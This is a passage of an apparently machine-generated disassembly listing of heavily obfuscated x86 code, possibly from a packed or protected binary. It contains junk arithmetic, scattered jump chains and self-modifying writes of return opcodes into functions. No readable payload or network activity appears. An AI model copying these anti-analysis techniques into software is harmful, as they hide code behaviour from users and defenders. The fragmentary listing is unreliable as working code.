loc_44D7E1:				; CODE XREF: kgbikm34:00445E77j
		jmp	sub_43C7C6
; ---------------------------------------------------------------------------
		xchg	esi, edx
		jmp	loc_437560
; ---------------------------------------------------------------------------

locret_44D7ED:				; CODE XREF: kgbikm34:0044000Ej
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B47A

loc_44D7EE:				; CODE XREF: sub_44B47A+16j
		jmp	loc_43C357
; END OF FUNCTION CHUNK	FOR sub_44B47A
; ---------------------------------------------------------------------------

loc_44D7F3:				; CODE XREF: kgbikm34:00441D86j
		jmp	loc_43F774
; ---------------------------------------------------------------------------

loc_44D7F8:				; CODE XREF: kgbikm34:0043D0F4j
		jmp	loc_44ACE0
; ---------------------------------------------------------------------------

loc_44D7FD:				; CODE XREF: kgbikm34:004448D2j
		and	ebp, 9CA247C6h

; =============== S U B	R O U T	I N E =======================================



sub_44D803	proc near		; CODE XREF: sub_444C12+6B7p
		xchg	edi, [esp+0]
		pop	edi
		lea	eax, sub_444C12
		mov	byte ptr [eax],	0C3h
		jmp	sub_444C12
sub_44D803	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44D815	proc near		; CODE XREF: .text:00409D75p
					; sub_43D4D5+9j
					; DATA XREF: ...

; FUNCTION CHUNK AT 00442214 SIZE 00000006 BYTES

		call	sub_43D4D5

loc_44D81A:				; CODE XREF: sub_442E4C+9j
		jmp	loc_442214
sub_44D815	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F65B

loc_44D81F:				; CODE XREF: sub_43F65B-7F7Fj
		push	offset loc_4402A3
		jmp	nullsub_251
; END OF FUNCTION CHUNK	FOR sub_43F65B

; =============== S U B	R O U T	I N E =======================================



sub_44D829	proc near		; DATA XREF: sub_43F15F+6o
		xchg	esi, [esp+0]
		jmp	nullsub_3
sub_44D829	endp


; =============== S U B	R O U T	I N E =======================================



sub_44D831	proc near		; CODE XREF: kgbikm34:00437419j
					; sub_44CF08-F41Dp
		xchg	esi, [esp+0]
		pop	esi
		sub	eax, 0C0A45D46h
		xor	eax, 39339ABDh
		jmp	loc_43E45C
sub_44D831	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44D846	proc near		; DATA XREF: kgbikm34:loc_44C84Co

; FUNCTION CHUNK AT 0043DCCE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B274 SIZE 00000009 BYTES

		add	eax, ebp
		add	eax, 27444E35h
		mov	eax, [eax]
		and	dword ptr [eax+24h], 7FFFFFFFh
		lea	eax, [ebp-14h]
		push	eax
		jmp	loc_43DCCE
sub_44D846	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44D860:				; CODE XREF: kgbikm34:0043C30Dj
		mov	[edi], ebp

; =============== S U B	R O U T	I N E =======================================



sub_44D862	proc near		; CODE XREF: sub_438C33+14498p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044D939 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	edi, 0FE1841F2h
		xchg	edi, [esp-4+arg_0]
		jmp	loc_44D939
sub_44D862	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4372E5

loc_44D874:				; CODE XREF: sub_4372E5:loc_4421E5j
		sub	ecx, 0DF2A66E4h
		and	ecx, 469D262h
		add	ecx, 7188BA5h
		sub	eax, ecx
		jmp	loc_43ADB0
; END OF FUNCTION CHUNK	FOR sub_4372E5
; ---------------------------------------------------------------------------

loc_44D88D:				; CODE XREF: kgbikm34:00447A80j
		sub	esi, 5B712D6Eh
		test	eax, 258B9D02h
		jmp	loc_43B302
; ---------------------------------------------------------------------------

loc_44D89E:				; DATA XREF: kgbikm34:0044D2AEo
		xor	edx, 71AFC9C6h
		xor	eax, edx
		pop	edx
		mov	edx, [esp]
		push	eax
		mov	eax, edx
		call	sub_447B31
		mov	eax, [esp]
		jmp	loc_4372C7
; ---------------------------------------------------------------------------
		js	sub_444C7D
		rol	edi, 3
		jmp	sub_443643
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4494B1

loc_44D8C8:				; CODE XREF: sub_4494B1-123FAj
		add	edi, 6AB09932h
; END OF FUNCTION CHUNK	FOR sub_4494B1
; START	OF FUNCTION CHUNK FOR sub_4471A4

loc_44D8CE:				; CODE XREF: sub_4471A4-A1B9j
		xor	eax, edi
		pop	edi
		rol	eax, 9
		add	eax, 0D8089C02h
		jmp	loc_444847
; END OF FUNCTION CHUNK	FOR sub_4471A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44276B

loc_44D8DF:				; CODE XREF: sub_44276B:loc_444919j
		add	ebx, 69E5CEEBh
		xchg	ebx, [esp+4+var_4]
		jmp	sub_442C3F
; END OF FUNCTION CHUNK	FOR sub_44276B

; =============== S U B	R O U T	I N E =======================================



sub_44D8ED	proc near		; CODE XREF: sub_401000+1B2p
					; sub_401000+1E6p ...
		call	sub_44D8F8
		jmp	ds:off_41E104
sub_44D8ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_44D8F8	proc near		; CODE XREF: sub_443005+1Aj
					; kgbikm34:0044A57Dj ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043F119 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00443024 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445012 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004470EB SIZE 00000005 BYTES

		jb	loc_443024
		xchg	eax, [esp+0]
		mov	edx, eax
		pop	eax
		mov	eax, [esp-4+arg_0]

loc_44D907:				; CODE XREF: kgbikm34:004457B8j
		jmp	loc_448C84
sub_44D8F8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B89E

loc_44D90C:				; CODE XREF: sub_43B89E:loc_44A3C8j
		jl	loc_44773B

loc_44D912:				; CODE XREF: sub_4384AF+Dj
		jmp	nullsub_122
; END OF FUNCTION CHUNK	FOR sub_43B89E
; ---------------------------------------------------------------------------
		add	edx, eax
		jmp	loc_44773A
; ---------------------------------------------------------------------------

loc_44D91E:				; CODE XREF: kgbikm34:0043A226j
		add	edx, ebp
		add	edx, 9A2C75C2h
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jmp	loc_443BF0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_371. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A6A7

loc_44D932:				; CODE XREF: sub_44A6A7+9j
		jmp	loc_44CD44
; END OF FUNCTION CHUNK	FOR sub_44A6A7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_372. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_373. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D862

loc_44D939:				; CODE XREF: sub_44D862+Dj
		jmp	sub_442C3F
; END OF FUNCTION CHUNK	FOR sub_44D862
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4394EB

loc_44D93E:				; CODE XREF: sub_4394EB:loc_44D025j
		jmp	loc_4444D7
; END OF FUNCTION CHUNK	FOR sub_4394EB
; ---------------------------------------------------------------------------

loc_44D943:				; CODE XREF: kgbikm34:00440CCBj
		jmp	loc_44B027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC42

loc_44D948:				; CODE XREF: sub_43DC42-508Ej
		jmp	loc_43922C
; END OF FUNCTION CHUNK	FOR sub_43DC42
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_44. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A4E

loc_44D94E:				; CODE XREF: sub_444A4E+Bj
		jmp	nullsub_253
; END OF FUNCTION CHUNK	FOR sub_444A4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DD92

loc_44D953:				; CODE XREF: sub_44DD92-127DDj
		jmp	loc_44C8C9
; END OF FUNCTION CHUNK	FOR sub_44DD92
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4437D8

loc_44D958:				; CODE XREF: sub_4437D8-3E3Ej
		add	eax, 0E7EF81D2h
		add	eax, ebp
		push	ecx
		push	9EE87626h
		pop	ecx
		jmp	loc_44ACB9
; END OF FUNCTION CHUNK	FOR sub_4437D8
; ---------------------------------------------------------------------------

loc_44D96C:				; CODE XREF: kgbikm34:00439CD2j
		popf
; START	OF FUNCTION CHUNK FOR sub_443681

loc_44D96D:				; CODE XREF: sub_443681:loc_439CB7j
		add	ecx, 8D80C7DDh
		xchg	ecx, [esp+4+var_4]
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_443681
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_44D97B:				; CODE XREF: sub_439587+CD47j
		jz	loc_43D734
		jmp	loc_44A34C
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
		jz	loc_447D72
		jmp	loc_43EA91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44905C

loc_44D991:				; CODE XREF: sub_44905C:loc_438ABFj
		add	eax, 0EC9003FEh
		xchg	eax, [esp+0]
		jmp	loc_43A530
; END OF FUNCTION CHUNK	FOR sub_44905C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446779

loc_44D99F:				; CODE XREF: sub_446779:loc_43A40Aj
		sub	eax, 276EABB3h
		rol	eax, 3
		sub	eax, 5323F78Bh
		add	eax, 0D48F59DEh
		add	eax, ebp
		push	offset sub_449ED2
		jmp	loc_448171
; END OF FUNCTION CHUNK	FOR sub_446779
; ---------------------------------------------------------------------------
dword_44D9C0	dd 29D0F5BFh		; DATA XREF: sub_4421A1+3474w
; ---------------------------------------------------------------------------

loc_44D9C4:				; CODE XREF: kgbikm34:00448E77j
		jmp	loc_44BEDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4447FD

loc_44D9C9:				; CODE XREF: sub_4447FD+Dj
		jmp	sub_44A9D8
; END OF FUNCTION CHUNK	FOR sub_4447FD

; =============== S U B	R O U T	I N E =======================================



sub_44D9CE	proc near		; CODE XREF: sub_40518A+31p
					; DATA XREF: ev73vtp2:off_41E008o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439C4D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043BF80 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043C1D5 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00440786 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A7F5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AD8F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044C31C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044D197 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DD7F SIZE 00000011 BYTES

		js	loc_43BF80
		push	offset loc_4442AB
		jmp	nullsub_258
sub_44D9CE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B8BF

loc_44D9DE:				; CODE XREF: sub_44B8BF:loc_44DFE3j
		call	sub_44A9D8
		mov	edx, 0CF0182F6h
		call	sub_440FF4
		mov	ds:dword_43C590, eax
; END OF FUNCTION CHUNK	FOR sub_44B8BF
; START	OF FUNCTION CHUNK FOR sub_44B8A2

loc_44D9F2:				; CODE XREF: sub_44B8A2:loc_441973j
					; sub_44D043+Cj ...
		mov	eax, ds:dword_43C590
		call	sub_43C7C6
		mov	esp, ebp
		jmp	loc_437228
; END OF FUNCTION CHUNK	FOR sub_44B8A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D78

loc_44DA03:				; CODE XREF: sub_449D78:loc_44C721j
		test	al, al
		jz	loc_43E283
		jmp	loc_439861
; END OF FUNCTION CHUNK	FOR sub_449D78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4ED

loc_44DA10:				; CODE XREF: sub_43F4ED:loc_44D39Cj
		sub	ebx, 0ED657CDBh
		xor	ebx, 4D25632Ah
		add	ebx, ebp
		add	ebx, 0FD4D770h
		mov	ebx, [ebx]
		jmp	loc_44B787
; END OF FUNCTION CHUNK	FOR sub_43F4ED

; =============== S U B	R O U T	I N E =======================================



sub_44DA2B	proc near		; CODE XREF: sub_43B4D4+9j
					; sub_44DA2B:loc_445151j ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00437044 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043B4E2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00445151 SIZE 00000005 BYTES

		jz	loc_43B4E2
		push	offset loc_44B1C4
		jmp	nullsub_259
sub_44DA2B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44DA3B	proc near		; CODE XREF: kgbikm34:0043D2B6j
					; sub_44D846-25CEp

var_4		= dword	ptr -4

		xchg	eax, [esp+0]
		pop	eax
		push	28h
		mov	eax, [ebp-4]
		push	edx
		mov	edx, eax
		xchg	edx, [esp+4+var_4]
		push	offset sub_44D21F
		jmp	loc_441D7B
sub_44DA3B	endp


; =============== S U B	R O U T	I N E =======================================



sub_44DA54	proc near		; CODE XREF: sub_43D494+36C5p
					; kgbikm34:00449339j

; FUNCTION CHUNK AT 0043776D SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	ebx
		push	offset sub_4488AF
		jmp	loc_43776D
sub_44DA54	endp

; ---------------------------------------------------------------------------
		mov	ds:off_41E074, eax
; START	OF FUNCTION CHUNK FOR sub_44A80D

loc_44DA69:				; CODE XREF: sub_44A80D-85CDj
		lea	eax, sub_43D21A
		mov	byte ptr [eax],	0C3h
		jmp	sub_43D21A
; END OF FUNCTION CHUNK	FOR sub_44A80D

; =============== S U B	R O U T	I N E =======================================



sub_44DA77	proc near		; CODE XREF: sub_403186+2DBp
					; .text:00409944p ...

; FUNCTION CHUNK AT 004397C0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043AB3D SIZE 00000005 BYTES

		call	sub_43D632

loc_44DA7C:				; CODE XREF: sub_43FC25:loc_43F2C4j
					; sub_4418C2-C2Bj
		call	sub_44A9D8
		push	0A3DA6B7Ah
		pop	edx
		xor	edx, 0B5C787A5h
		rol	edx, 0Ah
		add	edx, ds:4000F6h
		rol	edx, 0Ch
		xor	edx, 95151FCAh
		jmp	loc_4397C0
sub_44DA77	endp

; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	edx
		call	sub_43D409
		push	7B65E693h
		jmp	loc_447D31
; ---------------------------------------------------------------------------

loc_44DAB8:				; CODE XREF: kgbikm34:0043FDA1j
		jnz	loc_43877A
; START	OF FUNCTION CHUNK FOR sub_43C167

loc_44DABE:				; CODE XREF: sub_43C167:loc_43FD8Ej
		add	edx, 0D7EFFCBh
		and	edx, 0B74C03A8h
		add	edx, 0FDFC9618h
		xchg	edx, [esp+0]
		jmp	loc_43C80E
; END OF FUNCTION CHUNK	FOR sub_43C167
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44739D

loc_44DAD8:				; CODE XREF: sub_44739D-B6ADj
		sbb	ebx, eax
		push	0D836723h
		jmp	loc_44512E
; END OF FUNCTION CHUNK	FOR sub_44739D

; =============== S U B	R O U T	I N E =======================================



sub_44DAE4	proc near		; DATA XREF: sub_449D59-361Eo

; FUNCTION CHUNK AT 004376F2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043B145 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043DB4C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043E283 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00442CA5 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00445843 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447045 SIZE 00000005 BYTES

		cmp	dword ptr [eax+4], 0
		ja	loc_43E287
		jmp	loc_43B145
sub_44DAE4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44DAF3	proc near		; DATA XREF: sub_449D59:loc_4482C4o

; FUNCTION CHUNK AT 0043737F SIZE 00000028 BYTES
; FUNCTION CHUNK AT 004389DA SIZE 00000003 BYTES
; FUNCTION CHUNK AT 004392F6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043A0E6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043A1E8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B57B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043B8B0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044060B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00441399 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442965 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446177 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00446F91 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C3B0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CC11 SIZE 00000006 BYTES

		jns	loc_4392F6
		mov	eax, [ebp-18h]
		test	dword ptr [eax], 0FFFF0000h
		jnz	loc_43E54E
		jmp	loc_442965
sub_44DAF3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	edi
		push	offset loc_4387AF
		jmp	loc_438F7A

; =============== S U B	R O U T	I N E =======================================



sub_44DB18	proc near		; CODE XREF: kgbikm34:004387AAj
					; sub_448647+6p
		xchg	edi, [esp+0]
		pop	edi
		mov	byte ptr [eax],	0C3h
		jmp	loc_447A75
sub_44DB18	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		call	nullsub_352
		jmp	ds:dword_41E054
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444051

loc_44DB2F:				; CODE XREF: sub_444051+73DCj
		jmp	loc_44B617
; END OF FUNCTION CHUNK	FOR sub_444051
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_352. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	loc_43BB2E
; ---------------------------------------------------------------------------

loc_44DB3A:				; CODE XREF: kgbikm34:00449F3Dj
		and	ebx, 0F94A3DFBh
		add	ebx, 0EEF9A88Eh
		mov	[ebx], eax
		pop	ebx
		lea	eax, nullsub_308
		jmp	loc_4434C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A3D0

loc_44DB54:				; CODE XREF: sub_43A3D0:loc_444343j
		add	ebx, 6C1FDA7Bh

loc_44DB5A:				; CODE XREF: kgbikm34:004482D9j
		xor	ebx, 1BF39C42h
		add	ebx, ebp
		push	eax
		push	7162E52h
		pop	eax
		jmp	loc_43D548
; END OF FUNCTION CHUNK	FOR sub_43A3D0

; =============== S U B	R O U T	I N E =======================================



sub_44DB6E	proc near		; DATA XREF: sub_43EB2D+8o

; FUNCTION CHUNK AT 0043AFA8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C141 SIZE 00000001 BYTES
; FUNCTION CHUNK AT 00445117 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044993A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D69D SIZE 00000005 BYTES

		cmp	eax, [ebp-8]
		jnz	loc_43AFA8
		mov	eax, [ebp-14h]
		mov	eax, [eax+24h]
		add	eax, [ebp-4]
		xor	edx, edx
		push	edx
		jmp	loc_43C141
sub_44DB6E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CF41

loc_44DB88:				; CODE XREF: sub_43CF41:loc_44818Ej
		call	sub_448BC4
		call	nullsub_18

loc_44DB92:				; CODE XREF: sub_44B5FD:loc_43F926j
					; sub_43CF41+BA69j
		mov	eax, ds:dword_43836C
		mov	[ebp-4], eax
		mov	eax, offset dword_438368
		call	sub_44AD65
		mov	eax, [ebp-4]
		jmp	loc_44AD52
; END OF FUNCTION CHUNK	FOR sub_43CF41

; =============== S U B	R O U T	I N E =======================================



sub_44DBAC	proc near		; CODE XREF: kgbikm34:0043DA0Dj
					; kgbikm34:00449D12p

arg_0		= dword	ptr  4

		xchg	ebx, [esp+0]
		pop	ebx
		add	ecx, 70C7E3E8h
		xchg	ecx, [esp-4+arg_0]
		jmp	sub_43BF6F
sub_44DBAC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44DBBE:				; CODE XREF: kgbikm34:0043973Ej
		jz	loc_439A8E
; START	OF FUNCTION CHUNK FOR sub_444681

loc_44DBC4:				; CODE XREF: sub_444681:loc_4477C7j
		add	esi, 0D39E119Bh
		xchg	esi, [esp+0]
		jmp	sub_445D55
; END OF FUNCTION CHUNK	FOR sub_444681
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446C27

loc_44DBD2:				; CODE XREF: sub_446C27:loc_446C31j
		and	ecx, 0FC6B2686h
		add	ecx, 2C40FF9Ah
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_443AB0
; END OF FUNCTION CHUNK	FOR sub_446C27
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_333. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DEE7

loc_44DBE7:				; CODE XREF: sub_43DEE7+933j
		jmp	loc_442E3B
; END OF FUNCTION CHUNK	FOR sub_43DEE7
; ---------------------------------------------------------------------------

loc_44DBEC:				; CODE XREF: kgbikm34:004496F4j
		add	ebx, 8F28413h
		sub	edx, edi
; START	OF FUNCTION CHUNK FOR sub_43B1D6

loc_44DBF4:				; CODE XREF: sub_43B1D6:loc_4496E3j
		rol	ecx, 8
		xor	ecx, 0BFB21A12h
		add	esi, ecx
		pop	ecx
		mov	[esi], eax
		jmp	loc_44CC78
; END OF FUNCTION CHUNK	FOR sub_43B1D6
; ---------------------------------------------------------------------------

loc_44DC07:				; CODE XREF: kgbikm34:0043BB69j
		or	edx, 0EEBC356Eh
		call	sub_449C42

; =============== S U B	R O U T	I N E =======================================



sub_44DC12	proc near		; CODE XREF: sub_441B8Fp
					; kgbikm34:00446B99j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00438607 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00439B45 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043AE80 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043EC69 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00440930 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044981E SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044A853 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B7C0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CE0A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044CE92 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DD45 SIZE 00000010 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	ebx
		push	35CC2331h
		pop	ebx
		and	ebx, 7F255370h
		add	ebx, 0CB3F980Ah

loc_44DC29:				; CODE XREF: sub_4403D5:loc_4383C6j
		jmp	loc_44CE92
sub_44DC12	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44DC2E:				; CODE XREF: kgbikm34:loc_43FC20j
		mov	ecx, edx
		xchg	ecx, [esp]
		push	0B707A81Eh
		call	sub_43EF8B

loc_44DC3D:				; CODE XREF: kgbikm34:00441525j
		jmp	loc_44CB32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440FF4

loc_44DC42:				; CODE XREF: sub_440FF4:loc_44DE2Aj
		jnz	loc_43DE75
		add	esp, 0FFFFFFE4h
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		jmp	loc_44B470
; END OF FUNCTION CHUNK	FOR sub_440FF4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55C

loc_44DC56:				; CODE XREF: sub_43C55C+FDA7j
		cmp	dword ptr [ebp-10h], 2
		jnz	loc_444B20
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 8
		jmp	loc_44BC1B
; END OF FUNCTION CHUNK	FOR sub_43C55C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C95

loc_44DC6C:				; CODE XREF: sub_448C95-69CEj
					; sub_444730j
		cmp	dword ptr [ebp-1Ch], 67h
		jnz	loc_437AE0
		call	sub_44BAB7
; END OF FUNCTION CHUNK	FOR sub_448C95

; =============== S U B	R O U T	I N E =======================================



sub_44DC7B	proc near		; CODE XREF: sub_402F48+67p
					; sub_44DC7B+5j
					; DATA XREF: ...
		call	sub_44DC8B
		jmp	ds:off_41E200
sub_44DC7B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F039

loc_44DC86:				; CODE XREF: sub_43F039+1917j
		jmp	loc_4437BA
; END OF FUNCTION CHUNK	FOR sub_43F039

; =============== S U B	R O U T	I N E =======================================



sub_44DC8B	proc near		; CODE XREF: sub_43C04F+13j
					; sub_43E83D:loc_44ACD5j ...

; FUNCTION CHUNK AT 00448FAD SIZE 00000008 BYTES

		call	sub_43A179

loc_44DC90:				; CODE XREF: sub_445138-6DF2j
		mov	[edx], eax
		pop	edx
		call	sub_444FD8

loc_44DC98:				; CODE XREF: kgbikm34:0044D6D8j
		jmp	loc_448FAD
sub_44DC8B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D21F

loc_44DC9D:				; CODE XREF: sub_44D21F-2937j
		jmp	loc_43FA4F
; END OF FUNCTION CHUNK	FOR sub_44D21F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4494B1

loc_44DCA2:				; CODE XREF: sub_4494B1-3FB4j
		sbb	edx, esi

loc_44DCA4:				; CODE XREF: sub_4494B1:loc_4377B7j
		push	758654C7h
		pop	eax
		add	eax, 0F81206E4h
		jns	loc_437890

loc_44DCB6:				; CODE XREF: sub_444002+9528j
		jmp	loc_43B8CC
; END OF FUNCTION CHUNK	FOR sub_4494B1
; ---------------------------------------------------------------------------

loc_44DCBB:				; CODE XREF: kgbikm34:004400A2j
		jmp	loc_438B0A
; ---------------------------------------------------------------------------
		popf
		jmp	loc_43E76C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A9BB

loc_44DCC6:				; CODE XREF: sub_44A9BB+18j
		setz	al
		jmp	loc_43B006
; END OF FUNCTION CHUNK	FOR sub_44A9BB
; ---------------------------------------------------------------------------

loc_44DCCE:				; CODE XREF: kgbikm34:loc_437129j
		mov	eax, [ebp+8]
		test	byte ptr [eax-10h], 38h
		jnz	loc_43A0A3
		mov	eax, [ebp+8]
		push	eax
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F6h
		jmp	loc_43B003

; =============== S U B	R O U T	I N E =======================================



sub_44DCEE	proc near		; CODE XREF: kgbikm34:0043C83Ej
					; sub_4407E7+5C1Bp
		xchg	eax, [esp+0]
		pop	eax
		push	edi
		push	334A00C9h
		pop	edi
		or	edi, 218FD6E9h
		add	edi, 0CC74831Ah
		xchg	edi, [esp+0]
		jmp	sub_4400C7
sub_44DCEE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447B31

loc_44DD0D:				; CODE XREF: sub_447B31-A82Dj
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_44BA3A
		jmp	loc_4483D9
; END OF FUNCTION CHUNK	FOR sub_447B31
; ---------------------------------------------------------------------------
		mov	esi, ebx
		jmp	sub_445C47
; ---------------------------------------------------------------------------

locret_44DD23:				; CODE XREF: kgbikm34:00437270j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B6B

loc_44DD24:				; CODE XREF: sub_438B6B+4139j
		jmp	loc_4408AC
; END OF FUNCTION CHUNK	FOR sub_438B6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44368F

loc_44DD29:				; CODE XREF: kgbikm34:loc_444D31j
					; sub_44368F:loc_448BFFj
		jnz	loc_44C510

loc_44DD2F:				; CODE XREF: sub_443854+10j
		jmp	loc_44BE86
; END OF FUNCTION CHUNK	FOR sub_44368F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EE05

loc_44DD34:				; CODE XREF: sub_43EE05+15j
		jmp	loc_438BDF
; END OF FUNCTION CHUNK	FOR sub_43EE05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BBC0

loc_44DD39:				; CODE XREF: sub_44BBC0-E27Aj
		jmp	loc_43FA85
; END OF FUNCTION CHUNK	FOR sub_44BBC0
; ---------------------------------------------------------------------------
		popf
		push	edi
		jmp	loc_44C510
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DC12

loc_44DD45:				; CODE XREF: sub_44DC12:loc_439B45j
		xchg	ebx, [esp+0]
		mov	edx, ebx
		pop	ebx
		mov	eax, [esp-4+arg_0]
		push	edx
		push	eax
		jmp	loc_438607
; END OF FUNCTION CHUNK	FOR sub_44DC12
; ---------------------------------------------------------------------------

loc_44DD55:				; CODE XREF: kgbikm34:00440455j
		and	ebx, 0A3546D21h

; =============== S U B	R O U T	I N E =======================================



